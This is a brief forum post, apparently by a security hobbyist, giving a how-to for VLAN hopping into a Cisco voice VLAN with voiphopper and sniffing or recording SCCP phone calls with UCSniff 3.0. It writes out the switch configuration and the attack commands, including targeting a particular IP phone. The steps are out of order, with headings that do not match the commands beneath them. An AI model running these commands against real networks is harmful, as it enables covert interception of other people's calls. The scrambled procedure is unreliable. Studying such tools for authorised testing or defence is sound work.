First time posting here.
UCSniff 3.0 was released today, ahead of schedule. I had been hanging out for this for the --garpdb option to disable GARP when sniffing Cisco SCCP packets.
I have written up a small how-to using voiphopper + ucsniff on my EEE 701. I have written this on my blog (nothing fancy), hope its ok to link here.
//edit full howto
Create persistent BT4 on USB
Followed the directions outlined here:
VLAN Support + VLAN Hopping
Firstly modprobe to enable VLAN tagging in the environment
Connect to a cisco switchport with a similar switch config
Try VLAN hopping with voiphopper
switchport mode access
switchport access vlan 10
switchport voice vlan 20
Download and compile UCSniff 3.0
voiphopper -i eth0 -c 0
Download UCSniff here:
tar zxvf ucsniff-3.01.tar.gz
To record all SCCP conversations on the voice VLAN
Or to target a particular IP phone, without enumerating the targets on the voice VLAN first
ucsniff -i eth0.20 --garpdb // //
Finally play back the file from the commandline
ucsniff -i eth0.20 --garpdb /XXXX.XXXX.XXXX.XXXX/ //